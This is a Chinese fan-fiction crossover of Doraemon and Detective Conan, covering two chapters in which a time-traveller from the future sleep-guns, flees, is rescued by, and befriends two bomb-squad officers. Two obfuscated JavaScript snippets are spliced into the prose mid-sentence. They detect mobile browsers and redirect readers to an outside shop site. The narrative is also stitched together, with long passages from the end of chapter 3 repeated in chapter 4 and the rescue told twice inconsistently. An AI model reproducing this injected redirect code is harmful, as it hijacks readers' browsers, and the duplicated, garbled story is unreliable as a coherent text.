《[哆啦A梦+名柯]野比春子穿越事件簿》
3. 春子VS松田阵平(下)
松田阵平啧了一声,目光紧紧盯着我手里的睡眠枪。
“不求饶是吧?那就让你睡个好觉!”我看他不服软,也不再废话,瞄准他毫不犹豫地扣动了扳机。
“biu——”
没有子弹,没有激光,只有一个拳头大小半透明的肥皂泡状物体,从枪口迅速飞出,飘飘悠悠却又速度不慢地射向松田阵平。
“小阵平小心!”萩原研二脸色一变,几乎是想都没想,一个箭步冲到了松田阵平身前。
“hagi!”松田阵平显然也没料到萩原研二会突然冲出来,他想伸手拉他已经来不及了。
啪!
那个泡泡不偏不倚,正正击中了萩原研二的胸口,悄无声息地碎裂开来,化作点点微光没入他体内。
萩原研二的身体猛地一晃,眼神瞬间变得迷离涣散。
“hagi!”松田阵平惊愕的声音响起,一把扶住他倒下的身体。
萩原研二的眼睛已经闭上了,呼吸平稳,脸上甚至带着点舒适的睡意,仿佛只是陷入了深沉的睡眠,但在松田阵平看来,一个活生生的人被未知的“枪”击中后瞬间失去意识,这足以让他浑身的血液都快凝固了。
他颤抖着手,迅速探向萩原研二的颈动脉和鼻息,指尖感受到平稳有力的脉搏和温热的呼吸后,他才猛地松了一口气,但随即,他抬起头看向我,脸色阴沉得可怕,那双隔着墨镜的眼睛仿佛能喷出火来,“你对他做了什么?!”
我被他凶恶的眼神吓了一跳,下意识地后退一步,结结巴巴道:“我、我说了啊,是睡眠枪……他只是睡着了,睡够了就会醒……”
但看松田阵平那副仿佛要吃了我的表情,我见势不妙,当机立断,趁他注意力还在萩原研二身上,我手忙脚乱地从四次元皮包里掏出一扇粉色的、带门框和把手的门——【任意门】。
“今天就这么算了,我不打了!”我语速飞快,一把拉开任意门,门后显示的是一条看起来陌生的街道,“我走了,再见……哦不,再也不见!”
然而,松田阵平的反应快得惊人,在我拉开门的瞬间,他就如同猎豹般冲了过来。
我吓得魂飞魄散,一头扎进门里,甚至来不及关门,也顾不上去收那扇还立在原地的任意门。
……
宽阔的马路,车流不息,人行道上的路人步履匆匆。
突然,人行道中央凭空出现了一扇粉红色的门,门敞开着,门内依稀能看到一个整洁的房间景象。
这超越常识的一幕让路过的行人们纷纷侧目,有人惊讶地停下脚步,有人指指点点,但奇怪的是,并没有人发出尖叫或恐慌,大多数人只是好奇地看了几眼,然后就像接受了某种“这里临时搭了个奇怪布景”的解释一样,摇摇头继续走自己的路了。
我气喘吁吁地从门里跑出来,差点撞到一个提着菜篮的老奶奶。
“对不起!”我匆忙道歉,回头一看,心脏差点跳出嗓子眼——松田阵平那个阴魂不散的家伙,竟然也紧跟着从任意门里冲了出来。
“站住!”他厉声道,大步流星地追来,他跑起来的速度极快,西装外套被风带起,哪怕在有些凌乱的追逐中,也带着一股惊人的气势。
“才不要!”我尖叫一声,使出吃奶的劲往前跑,我害怕极了,脑子里全是“被他抓住肯定会很惨”“说不定会被关起来”“这个警察好可怕”之类的念头。
我慌不择路地跑过一个拐角,冲进一个十字路口,就在这时,侧面突然传来刺耳的汽车喇叭声。
我猛地转头,只见一辆轿车正以不低的速度朝我驶来,司机似乎也没料到会有人突然从拐角冲出来,正在拼命踩刹车,但距离太近了。
我大脑一片空白,身体僵在原地,眼睁睁看着车头在眼前急速放大,身体却像灌了铅一样动弹不得。
完了!要撞上了!
就在这千钧一发之际,我旁边猛地冲过来一个人影,带着一股劲风,狠狠地撞在我身上。
“砰!”
我被撞得向侧方飞扑出去,紧接着天旋地转,被人紧紧抱住,在地上连滚了好几圈,在翻滚中,我清晰地听到近距离传来的一声压抑的闷哼。
耳边是轮胎摩擦地面的尖锐声响,还有汽车呼啸而过的风声。
等一切停下来,冲击的眩晕感尚未完全消退,我惊魂未定地睁开眼,却发现视线被一片带着淡淡烟草味和灰尘气息的黑色布料占据,我竟然正整个人趴在一个人的身上,脸埋在他的胸膛,能感受到衬衫下紧实肌肉的轮廓和略显急促的心跳,他的手臂,正紧紧地环着我的背,将我牢牢护在怀里,另一只手则垫在了我的后脑勺附近。
我抬起头,对上了一双近在咫尺的凫青色眼睛,是松田阵平,他额前的卷发有些凌乱,墨镜不知道掉到哪里去了,眉头因为疼痛而紧锁着,唇线也微微抿起,正低头看着我,呼吸带着克制的急促。
我回过神来,赶紧手忙脚乱地从他身上爬起来,看到他躺在地上,眉头微蹙,似乎也摔得不轻,他的西装外套和衬衫在滚动中沾满了灰尘,但他似乎毫不在意,立刻用手肘支撑着坐了起来。
“谢、谢谢你……”我惊魂未定,声音还有点发抖,刚才要不是他,我可能真的就……想到那个画面,我一阵后怕,看向他的目光也复杂起来,这个嘴坏又爱欺负人的卷毛,关键时刻竟然会毫不犹豫地救我……
松田阵平坐起身,甩了甩头,似乎让自己更清醒些。他抬头看了我一眼,没说话,然后动作利落地站了起来。
我还以为他会说点什么,比如“你没事吧”或者“下次看路”之类的。
但我错了。
他站起来后的第一件事,竟然是猛地一步上前,再次抓住了我的两只手腕,这次他的力道比之前在房间里时更大,攥得我生疼。
“诶?你干嘛?”我下意识想抽回手。
松田阵平没回答,动作快得惊人,他直接用单手就牢牢扣住了我两只手腕的手腕,另一只手飞快地解开了自己脖子上那条已经歪斜的蓝色领带,然后以我根本看不清的速度,用领带把我的两只手腕并在一起,绕了几圈,打了个结实又难以挣脱的结。
“喂!松田阵平!你绑我干什么?!”我彻底懵了,挣扎起来,但双手被绑,根本使不上力。
“防止你再从那个小包里掏东西逃跑。”松田阵平站起身,拍了拍身上的灰,居高临下地看着我,脸色依旧严肃,“现在,跟我回去。”
“回去干嘛?!萩原先生不是睡着了吗?睡醒了就好了啊!”我试图讲道理。
“不行。”松田阵平语气斩钉截铁,一把抓住绑着我手腕的领带另一端,像牵着犯人似的,拉着我就往刚才跑来的方向走,“他还没醒,你得回去,确保他没事,或者把他弄醒。”
“我说了他只是睡着了,睡眠枪没有副作用的!”我被他扯得踉踉跄跄,气得直跳脚,但力量悬殊,根本拗不过他。
跑也跑不掉,打也打不过,道具……现在手被绑着,也掏不出来,可恶!
很快,我们回到了那个凭空立在路边的粉色任意门前,周围的几个路人好奇地打量着这扇奇怪的门,以及被绑着手、被一个高大英俊但脸色不善的男人“押送”回来的我,但他们的目光大多只是好奇一瞥,并没有表现出极度的震惊或恐慌,仿佛这扇门只是某个行为艺术或者拍摄道具。
松田阵平也注意到了这一点,眉头微皱,但现在他更关心萩原研二的情况,没时间深究,他一把将我推进了敞开的任意门:“进去!”
穿过门,场景瞬间切换回那个熟悉的房间,萩原研二还躺在沙发上,睡得正香,甚至发出了轻微的鼾声。
松田阵平快步走到沙发边,再次检查了萩原研二的呼吸和脉搏,确认依旧平稳后,脸色才稍微缓和了一些,但他仍然不放心,转头看向被绑着手、气呼呼盘腿坐在地板上的我:“他什么时候能醒?”
“我怎么知道,每个人对睡眠能量的吸收速度不一样啊,可能几分钟,也可能一两个小时。”我没好气地说,一屁股盘腿坐在地板上,手腕还被绑着,气呼呼地鼓着脸。
松田阵平皱了皱眉,但看萩原研二确实不像有危险的样子,暂时也没再逼问我,他的注意力,很快被房间里这扇粉色的任意门吸引了。
他走到任意门前,上下打量着这扇看起来轻薄得像木板、却连通了两个空间的神奇门扉,门内是他的房间,门外是车水马龙的街道,眼中闪烁着强烈的好奇和探究欲。
“这到底是什么?”他问,手指碰了碰门框,发现无论是摸起来还是看起来都是木板的材质的样子。
我气呼呼地坐在地板上,被绑着手腕很不舒服,看在他救了我一次的份上,勉强解释一下:“这叫任意门,只要心里想着具体的地点,打开门就能到达。不过有距离限制,只能去十光年以内、并且地图上有记录的地方。”
“十光年以内……”松田阵平重复着这个词汇,作为理工生,他太明白这意味着什么了,他再次看向任意门,又看了看我腰间的四次元皮包,最后目光落在我身上,眼神复杂,“22世纪……时光机、反重力飞行器、瞬间移动门……你们的科技已经发展到这种程度了?”
“那当然~”闻言,我忍不住又有点小得意,“比你们现在先进多了好吗?”
松田阵平显然对这个任意门兴趣极大,他小心翼翼地将门关上,尝试着握住门把手,心里似乎默念了一个地点,然后猛地拉开——
门外,不再是东京的街道,而是一片在夕阳下泛着金光的沙滩,海浪轻柔地拍打着海岸,咸湿的海风瞬间灌入房间。
“神奈川……湘南海岸?”松田阵平低声自语,眼中闪过难以置信的光芒,他关上门,又试了一次,这次门外变成了古老精致的浅草寺。
“真的……任何地方都能去……”他喃喃自语,脸上露出混合着震撼、兴奋和不可思议的表情。
他忽然又问道:“为什么刚才在街上,路人看到这扇门突然出现,反应……不算特别大?”作为警察,他对民众的反应很敏感,看到虽然有人惊讶,但远没有达到“见鬼了”或者“科幻成真”那种轰动程度。
“哦,这个啊。”我晃了晃被绑着的手,示意他先给我解开,但他不为所动,我只好继续说,“未来出售的道具,一般都自带基础的‘认知干扰模因’或者‘合理化滤镜’功能,对于生活时代不符的目击者,会自动忽略异常,或者脑补出一个合理的解释,不会引起太大的社会恐慌或关注,算是为了维护时间线稳定和避免麻烦的标配啦。”
松田阵平若有所思:“所以普通路人看到任意门,只会觉得有点奇怪,但不会深究?”
“差不多,除非道具本身正在造成明显危害,或者目击者意志特别坚定、对异常现象接受度特别低,模因效果会打折扣。”我解释道。
松田阵平点点头,目光扫过我和萩原研二:“那我和hagi为什么……我们刚才看到竹蜻蜓和你飞起来的时候,可没有被‘干扰’得觉得理所当然。”
我想了想:“可能是你们俩天生对这类认知干扰的抗性比较强?能抵抗模因污染能力的人在人群里比例很低,但不是没有。”
我们正说着,沙发上传来一声含糊的呻吟。
“唔……”萩原研二缓缓睁开了眼睛,眼神带着刚睡醒的迷茫,他坐起身,揉了揉太阳穴,随即看到了房间里的景象:那扇伫立的粉色任意门,被领带绑着手坐在地板上的我,以及正站在门边、西装皱巴巴但眼神发亮的松田阵平。
“……我这是……睡了多久?”萩原研二的声音还有些沙哑,他晃了晃脑袋,记忆逐渐回笼,“对了,那个泡泡……春子小姐,你那个枪……”
“萩原先生,你醒啦!”我立刻像看到救星一样,“快让你这个蛮横的搭档把我放开!你只是睡着了,我都说没危险了!”
萩原研二看向松田阵平,眼神带着询问。
松田阵平走过来,又仔细看了看萩原研二的气色,确认他确实除了刚睡醒有点懵之外一切正常,这才“啧”了一声,走到我面前,蹲下身,解开了绑着我手腕的领带。
手腕被勒得有些发麻,我赶紧活动了一下,气鼓鼓地瞪了他一眼。
萩原研二也走了过来,他的态度依旧温和,甚至还带着点歉意:“抱歉,野比小姐,让你受惊了,小阵平也是担心我,方式有点……急躁,我代他向你道歉。”
他这么好说话,我倒不好意思继续生气了,我摆摆手:“算了算了,也是我不好,不该随便用道具攻击人……虽然是他先欺负我的!”我又瞪了松田阵平一眼。
松田阵平把领带重新系回脖子上,虽然衬衫西装皱巴巴,但系上领带后,那股随性不羁的帅气
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088474|195415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又回来了,他没接我的茬,而是看向萩原研二:“感觉怎么样?有没有哪里不舒服?”
“完全没有,反而像好好补了一觉,神清气爽。”萩原研二笑道,随即好奇地看向任意门,“这扇门是……”
“任意门,能去任何地方的好东西。”松田阵平简短解释,语气里还带着没散尽的兴奋。
我揉了揉手腕,看着松田阵平,虽然这家伙很可恶,但一码归一码,我清了清嗓子,开口道:“喂,卷毛。”
松田阵平转过头看我。
“虽然你今天很过分,拧我手腕、弹我脑门、还绑我……但是,”我停顿了一下,不太情愿但认真地说,“刚才在马路那边,你救了我一次,这是事实,我这个人,有恩必报。”
松田阵平挑了挑眉,似乎没料到我会说这个。
“说吧,你有什么想要的?或者需要我帮什么忙?只要不违反法律,并且在我能力范围内,我可以帮你一次,当做报答。”我挺直腰板,努力让自己看起来可靠一点,“当然,太过分的要求可不行!”
松田阵平看着我,墨镜后的眼神看不真切,但他嘴角似乎弯了一下:“报答?不用了,我没指望这个。”
“那不行,我说了有恩必报!”我坚持道。
松田阵平沉吟了一下,目光再次飘向任意门,又瞄了一眼我腰间的四次元皮包,最后开口道:“如果你非要‘报答’……那把任意门,或者刚才那个竹蜻蜓,借我研究两天?”
我就知道,他果然在打道具的主意!
“任意门不行!”我立刻抱住旁边的门框,“我自己也要用,而且这东西万一被别人拿走乱用,引发时空混乱或者社会问题,未来世界的相关部门会找我算账的!”想到时空管理局那些冷面官员,我就头皮发麻。
“不过……”我话锋一转,看到他和萩原研二瞬间亮起来的眼神,觉得有点好笑,“竹蜻蜓嘛……那个比较便宜,算是未来世界的‘平价交通工具’,送你一个玩也行。”毕竟害人家搭档睡了一觉,还让人家追了我半条街。
“真的可以吗?野比小姐?”萩原研二闻言,立刻凑了过来,紫眸里满是期待。
松田阵平也明显有些意外,但眼中笑意加深。
看着眼前这两位帅哥用这种期待又灼热的目光看着我,我……我有点顶不住。
我从四次元皮包里又掏出一个崭新的竹蜻蜓,递给松田阵平:“喏,给你,使用方法很简单,戴头上就行,靠意念控制方向和升降,最高时速大概80公里,可以连续飞行8小时左右,没电了休息20小时能自动充满。”
松田阵平接过那个看似廉价的塑料玩具,动作却有些郑重,他和萩原研二立刻凑到一起,翻来覆去地研究起来。
我把任意门关上,抱起它把它塞回了自己包里。
“好了。”我拍拍手,“竹蜻蜓送你了,不过这个很便宜,不能算作报答你的人情,刚才说的帮你一次,依然有效。以后如果你有什么需要我帮忙的,当然是合法合理的、我能做到的,可以找我,我会帮你一次。”
说着,我再次把手伸进四次元皮包,摸索了一下,又掏出一个全新的竹蜻蜓,我把竹蜻蜓戴在头上,叶片立刻嗡嗡地旋转起来,我整个人也随之轻盈地浮起,离地半米左右。
松田阵平手里还拿着我送他的那个竹蜻蜓,和萩原研二一起抬头看着我,萩原研二笑着挥手:“野比小姐,路上小心,欢迎再来。”
松田阵平也抬起头,墨镜后的目光似乎在我脸上停留了一瞬,最后只是淡淡地说了一句:“别再掉到奇怪的地方了。”
“知道啦。”我悬在半空,朝他们做了个鬼脸,“我才不会那么倒霉呢,再见啦,两位警官先生!”
我控制着竹蜻蜓,开始缓缓向房间天花板的方向升去,随着我的召唤,房间天花板的正中央开始扭曲、波动,很快,一个直径约一米的、边缘流淌着无数细密时钟虚影的圆形入口缓缓成型。
“哇哦……”萩原研二忍不住发出一声惊叹,仰头看着这超越常识的景象,紫罗兰色的眼眸里映照着流转的七彩光芒。
松田阵平也紧紧盯着那个入口,表情紧绷,握着竹蜻蜓的手指下意识收紧,显然,即使已经见识了竹蜻蜓和任意门,亲眼看到这种直接在天花板上开辟时空通道的景象,依然带给他极大的震撼。
“那么,我真的走啦!”我最后朝他们挥了挥手,然后操纵竹蜻蜓,身体灵巧地向上一窜,径直飞入了那个旋转的时空入口。
紧接着,天花板上的圆形入口如同它出现时一样,开始迅速收缩,短短几秒钟内,便消失得无影无踪,只留下洁白平整的天花板,仿佛刚才那神奇的一幕从未发生过。
房间里,只剩下松田阵平和萩原研二,以及他们手中那个代表着另一个时代科技的,小小的竹蜻蜓。
两人对视一眼,都从对方眼中看到了兴奋和惊奇。
萩原研二笑着摇头:“真是……不可思议的一天啊,小阵平。”
松田阵平没说话,只是拿起竹蜻蜓,犹豫了一下,小心翼翼地戴在了自己头上,竹蜻蜓的叶片快速转动起来,发出细微的嗡鸣。
在萩原研二惊讶又期待的目光中,松田阵平的双脚,缓缓离开了地面。
他悬浮在空中,感受着失重的奇妙感觉,低头看了看自己的双手,又看了看下方含笑的好友,那张总是没什么表情的俊脸上,终于露出了一个毫不掩饰的带着惊奇的笑容。
“真是……”他低声感叹,控制着身体在房间里缓慢飘行,“了不起的未来科技。”
萩原研二仰头看着他,紫罗兰色的眼眸里也满是笑意:“喂,小阵平,玩够了换我试试!说好了轮流研究的!”
两人就这样轮流玩了半个多小时。
“那么……”松田阵平勾起嘴角,从萩原研二手里拿过竹蜻蜓,“该下一步了。”
“喂喂,小阵平,你该不会是想……”萩原研二看着他掏出随身携带的螺丝刀,脸色一变。
松田阵平已经小心翼翼地将竹蜻蜓放在桌上,螺丝刀对准了叶片根部一个几乎看不见的缝隙。
“当然是要看看。”他头也不抬,语气里充满了探究的兴奋,“这里面到底是什么构造,能让它飞起来。”
萩原研二看着好友这副模样,无奈地扶额,但眼中也充满了笑意和期待。
4.再见松田和萩原
“小阵平,你们没事吧?”另一个熟悉的声音响起,萩原研二快步跑了过来。
我这才完全回过神来,发现自己正以一种极其暧昧的姿势趴在松田阵平身上,他的手臂还环在我的腰上,保护性地护着。
“没、没事……”我赶紧手忙脚乱地爬起来,脸有点发烫,“谢谢你……救了我。”
松田阵平也坐起身,拍了拍西装上的灰尘,重新戴好墨镜,语气还是那么欠揍:“未来人连过马路看车都不会?”
“我、我没想到那辆车会突然冲出来……”我小声辩解,然后看向他和萩原研二,“你们怎么会在这里?”
“我们正要去吃饭。”萩原研二解释道,紫罗兰色的眼眸里带着笑意和一丝审视,“走到这边就看见你差点被撞到,小阵平想都没想就冲过去了。”
他说着,目光在我和松田阵平之间转了一圈,笑容更深了:“看来我们和野比小姐真的很有缘呢,昨天刚见过,今天又碰上了。”
我悄悄抬起眼,飞快地瞥了松田阵平一眼,又立刻垂下视线,心里有些尴尬。
这、这也太巧了吧?!昨天刚在他脸上画完“大作”,今天就被他救了……虽然昨天是他先欺负人,但一码归一码,救命之恩是实打实的,我甚至能回想起时间暂停时,自己拿着记号笔在他脸上创作时那份得意洋洋的心情,还有他额头上那个墨迹未干的“王”字……
现在看着他就站在我面前,墨镜下的表情看不真切,但那股生人勿近的气场似乎比昨天更冷硬了点,该不会还在记仇吧?虽然被画花脸确实很丢人,可、可那也是他先动的手啊!
我偷偷又瞄了他一眼,发现他正微微活动了一下刚才垫在我脑后的左手手腕。
“那个司机已经道歉了,看起来不是故意的,应该就是分心了。”萩原研二对走过来的司机说了几句,对方再三道歉后开车离开了。
“你们要去吃饭?”我问,“远吗?”
“不算远,大概两三公里外的一家店。”萩原研二笑道,“叫蓝屋,是一家不错的家庭料理餐厅。”
两三公里……走路要半个多小时呢。
我想了想,从四次元皮包里掏出了任意门。
“我可以送你们去。”
松田阵平和萩原研二同时看向我手里凭空出现的粉色门扉,两人脸上再次露出了那种“世界观受到冲击”的表情。
我在繁华的街道上直接把门立起来,转动门把手。
门开了,对面赫然是蓝屋家庭料理店的店门,透过门还能看到里面温暖的灯光和隐约的人影。
“这……”萩原研二惊讶地看了看门,又看了看周围的路人。
“这是任意门。”我介绍道。
松田阵平的反应更快,他敏锐地注意到,虽然有几个路人朝他们这边投来了好奇的目光,但那种反应更像是“这几个人在街上摆了个奇怪的门道具”,而不是“有人凭空变出了一扇连接两地的魔法门”的震惊。
“为什么路人的反应……”松田阵平皱眉问道。
我一边示意他们进门,一边解释道:“未来出售的道具,一般都自带基础的‘认知干扰模因’或者‘合理化滤镜’功能,对于生活时代不符的目击者,会自动忽略异常,或者脑补出一个合理的解释,不会引起太大的社会恐慌或关注,算是为了维护时间线稳定和避免麻烦的标配啦。”
“所以普通路人看到任意门,只会觉得有点奇怪,但不会深究?”萩原研二若有所思。
“差不多,除非道具本身正在造成明显危害,或者目击者意志特别坚定、对异常现象接受度特别低,模因效果会打折扣。”我点点头。
松田阵平伸手摸了摸门的边框,触感摸起来就是普通的木板:“那我和hagi为什么……我们之前看到竹蜻蜓和你飞起来的时候,可没有被‘干扰’得觉得理所当然。”
我歪头想了想:“可能是你们俩天生对这类认知干扰的抗性比较强?能抵抗模因污染能力的人在人群里比例很低,但不是没有,尤其是……”我瞥了松田阵平一眼,“像你这样疑心病重又固执的家伙。”
松田阵平轻哼一声,没反驳。
“好啦,快进去吧,站在街上说话好奇怪。”我催促道。
萩原研二率先跨过门,松田阵平紧随其后,我最后一个进去,然后关上门,把任意门收回包里。
我们三人已经站在了家庭料理店门口。
“真是……不可思议的技术。”萩原研二回头看了看我们刚才所在的街道方向,感叹道,“两三公里的距离,一步就跨过来了。”
“未来科技,厉害吧?”我得意地扬起下巴。
“进来一起吃吧,野比小姐。”萩原研二温和地邀请,“非常谢谢你送我们一程。”
我看了看松田阵平,他虽然没有说话,但也没有反对的意思。
“好啊。”我开心地点头,“不过说好了,我可没钱付哦!”
“那倒不用……”萩原研二笑道。
我们三人走进料理店,找了个安静的角落坐下,萩原研二绅士地递过菜单让我先点单,我看了看菜单,点了几样看起来不错的菜。
等服务员走后,我清了清嗓子,看向松田阵平:“喂,卷毛。”
松田阵平转过头,挑了挑眉。
“虽然你昨天很过分。”我掰着手指数,“拧我手腕、弹我脑门、虽然我已经还回去了——”我指了指他的脸,暗示时间暂停器的事,“但是,刚才在马路那边,你救了我一次,这是事实。”
我顿了顿,不太情愿但认真地说:“我这个人,有恩必报,说吧,你有什么想要的?或者需要我帮什么忙?只要不违反法律,并且在我能力范围内,我可以帮你一次,当做报答。”
我挺直腰板,努力让自己看起来可靠一点:“当然,太过分的要求可不行!”
松田阵平看着我,墨镜后的眼神看不真切,但他嘴角似乎弯了一下:“报答?不用了,我没指望这个。”
“那不行,我说了有恩必报!”我坚持道。
松田阵平沉吟了一下,目光飘向我的四次元皮包,最后开口道:“如果你非要‘报答’……那把任意门,或者那个竹蜻蜓,借我研究两天?”
我就知道,他果然在打道具的主意!
“任意门不行!”我摇了摇脑袋,“我自己也要用,而且这东西万一被别人拿走乱用,引发时空混乱或者社会问题,未来世界的相关部门会找我算账的。”
“不过……”我话锋一转,看到他和萩原研二瞬间亮起来的眼神,觉得有点好笑,“竹蜻蜓嘛……那个比较便宜,算是未来世界的‘平价交通工具’,送你一个玩也行。”
“真的可以吗?野比小姐?”萩原研二闻言,立刻凑了过来,紫眸里满是期待。
松田阵平也明显有些意外,但眼中笑意加深。
看着眼前这两位帅哥用这种期待又灼热的目光看着我,我……我有点顶不住。
我从四次元皮包里又掏出一个崭新的竹蜻蜓,递给松田阵平:“喏,给你,使用方法很简单,戴头上就行,靠意念控制方向和升降,最高时速大概80公里,可以连续飞行8小时左右,没电了休息20小时能自动充满。”
松田阵平接过那个看似像廉价玩具的未来道具,动作却有些郑重,他和萩原研二立刻凑到一起,翻来覆去地研究起来。
“好了。”我拍拍手,“竹蜻蜓送你了,不过这个很便宜,不能算作报答你的人情,刚才说的帮你一次,依然有效。以后如果你有什么需要我帮忙的,当然是合法合理的、我能做到的,可以找我,我会帮你一次。”
萩原研二抬起头,笑意盈盈又真诚的说道:“野比小姐,真是太感谢了,这份礼物可太珍贵了。”虽然竹蜻蜓在对方口中是便宜货,但对他们而言,这无疑是打开新世界大门的一把钥匙。
松田阵平倒是没说什么客套话,只是拿着那个小小的竹蜻蜓,翻来覆去地看,不过,俗话说拿人手短,他脸上那股“生人勿近”的冷酷气场,此刻确实消散了不少,虽然表情还是淡淡的,但至少不像昨天那样浑身带刺了。
“三位客人,这是你们点的餐。”服务员适时地送上了料理,暂时打断了他们对未来道具的研究。
“哇,看起来好好吃!”我眼睛一亮,暂时把竹蜻蜓的事抛到脑后,拿起筷子跃跃欲试。
萩原研二笑着将餐盘往我这边推了推:“野比小姐别客气,请用,说起来,我们都还不知道22世纪到底是什么样的呢?方便说说吗?一定非常科幻吧?”
我咽下一口美味的炸虾天妇罗,想了想,开始描述:“嗯……科技高度发达是肯定的啦,城市里到处都是悬浮车道和全息投影,家用机器人普及,很多体力劳动和重复性工作都被自动化了,环境也比现在好很多,清洁能源是主流,天空经常是蓝的哦!生活上很方便,比如购物,直接在全息屏幕上点一下,很快就能送货上门……唔,总体来说,算是个半乌托邦社会吧,大多数人不用为基本生存发愁,有更多时间追求自己喜欢的事情。”
“听起来真不错。”萩原研二感叹,“那野比小姐现在还在上学吗?看起来还很年轻呢。”
“我啊,刚满18岁,还在读高中。”我咬着吸管,喝了口果汁,“不过我们未来的学制和你们不太一样,更注重个性化发展啦。”
“18岁?那比我们小几岁呢。”萩原研二笑道,“我和小阵平都已经22岁了。”
“那你们呢?”我反问,“你们是什么警察?刑警?交警?”看他们这西装革履又身手不凡的样子,实在不好猜。
“我们是警视厅警备部爆·炸物处理班的。”萩原研二介绍道,语气里带着一丝职业的认真与淡淡的自豪,“简单说,就是拆弹警察。”
“拆、拆弹?!”我差点被果汁呛到,睁大了眼睛,“就是处理炸弹的那种?那不是超级危险吗!听说炸弹稍微弄不好就会……而且这个时代还没有专门负责拆弹的机器人吧?”22世纪当然有更安全高效的排爆机器人,但21世纪显然还得靠人力。
松田阵平这时才抬眼瞥了我一下,语气平淡无波:“习惯就好,害怕就别干这行。”
“话是这么说……”我小声嘀咕,看向他们的眼神里不由得带上了一点敬佩和担忧,真人去拆那些危
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091291|195415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
险的炸弹,光是想想就觉得头皮发麻。
“未来犯罪率高吗?都用些什么手段?”松田阵平忽然问,凫青色的眼睛透过镜片看着我,带着专业的审视和好奇。
“总体犯罪率比你们现在低很多啦,但肯定还是有犯罪的。”我托着下巴,“手段嘛……高科技犯罪比例上升,比如网络入侵、意识窃取、基因层面搞破坏之类的,不过相对应的,侦破技术和防范手段也更先进。”
他点了点头,目光落在我脸上,忽然问了个有点跳跃的问题:“你经常这样穿越时间?不会扰乱时间线吗?或者说,你们没有相关法律约束?”
“理论上,时间有很强的自我修正能力。”我认真解释道,“只要不做出太离谱的事——比如改变重大历史事件的结果,或者干涉关键人物的核心命运轨迹,一般的小打小闹,时间线会自动修复偏差,当然,我们也有严格的法律,《航时法》规定不能随意干涉过去以改变历史或谋取私利,时空管理局和时空警察就是专门监管这个的,打击利用时间旅行或未来道具进行的犯罪。”
“时空管理局?时间警察?”萩原研二饶有兴趣地重复,“听起来像是科幻电影里的机构。”
“差不多就是那种感觉啦。”我比划着,“时空管理局负责制定规则、管理时间旅行许可、监控时间流稳定;而时空警察则更像执法者,他们装备精良,有权逮捕任何违反《航时法》的人,不管是来自哪个时代,要是被他们盯上,可就麻烦大了。” 我想起自己那十年的禁令,心有余悸地缩了缩脖子。
两个21世纪的警察听得津津有味,这些对于他们而言完全是另一个维度的知识,从这两次接触来看,他们虽然一开始充满警惕,但现在基本能判断,眼前这个来自未来的少女虽然有点调皮、胆大,身上带着一堆不可思议的道具,但本性单纯,并非怀有恶意之徒,这种跨越时空的奇妙遭遇,反而让他们觉得颇为新奇。
我饱餐一顿后,心满意足地摸摸肚子,“多谢款待,真的很好吃。”
“野比小姐喜欢就好。”萩原研二笑道。
“好了,该送你们回去了吧?是回警察宿舍?”我掏出任意门。
“对,麻烦野比小姐了。”萩原研二点头。
我再次设定好坐标,拉开粉色的门扉,对面正是松田阵平那个简洁的房间。
萩原研二率先跨过去,笑着回头:“野比小姐,今天真的很感谢,不仅送了珍贵的礼物,还让我们听到了这么多有趣的事。”
“松田君。”我叫住他。
松田阵平走到门边,停顿了一下,回头看我,墨镜遮住了他的眼神,但我能感觉到他的目光。
我抿了抿唇,看着他,虽然还是有点气他昨天的粗鲁和毒舌,但救命之恩是实实在在的,我偏过头,声音不大但清晰地说:“松田君,昨天的事扯平了,但今天……谢谢你救了我,真的。”
松田阵平似乎愣了一下,随即,他勾起嘴角,虽然语气依旧那么拽,却少了些锋芒:“嗯,下次过马路看着点,未来人小朋友。”
“知道啦。”我朝他们做了个鬼脸,“我才不会那么倒霉呢,再见啦,两位警官先生!”
说完,他转身走进了任意门。
萩原研二在门那边对我挥手,笑容温和:“野比小姐,欢迎下次再来玩啊,带上更多未来的故事!”
“有机会的话!” 我也笑着挥手,然后关上了任意门,将它收回包里。
粉色的门关上,然后迅速消失。
房间里,只剩下松田阵平和萩原研二,以及他们手中那个代表着另一个时代科技的,小小的竹蜻蜓。
两人对视一眼,都从对方眼中看到了兴奋和惊奇。
萩原研二笑着摇头:“真是……不可思议的一天啊,小阵平。”
松田阵平没说话,只是拿起竹蜻蜓,犹豫了一下,小心翼翼地戴在了自己头上,竹蜻蜓的叶片快速转动起来,发出细微的嗡鸣。
在萩原研二惊讶又期待的目光中,松田阵平的双脚,缓缓离开了地面。
他悬浮在空中,感受着失重的奇妙感觉,低头看了看自己的双手,又看了看下方含笑的好友,那张总是没什么表情的俊脸上,终于露出了一个毫不掩饰的带着惊奇的笑容。
“真是……”他低声感叹,控制着身体在房间里缓慢飘行,“了不起的未来科技。”
萩原研二仰头看着他,紫罗兰色的眼眸里也满是笑意:“喂,小阵平,玩够了换我试试!说好了轮流研究的!”
两人就这样轮流玩了半个多小时。
“那么……”松田阵平勾起嘴角,从萩原研二手里拿过竹蜻蜓,“该下一步了。”
“喂喂,小阵平,你该不会是想……”萩原研二看着他掏出随身携带的螺丝刀,脸色一变。
松田阵平已经小心翼翼地将竹蜻蜓放在桌上,螺丝刀对准了叶片根部一个几乎看不见的缝隙。
“当然是要看看。”他头也不抬,语气里充满了探究的兴奋,“这里面到底是什么构造,能让它飞起来。”
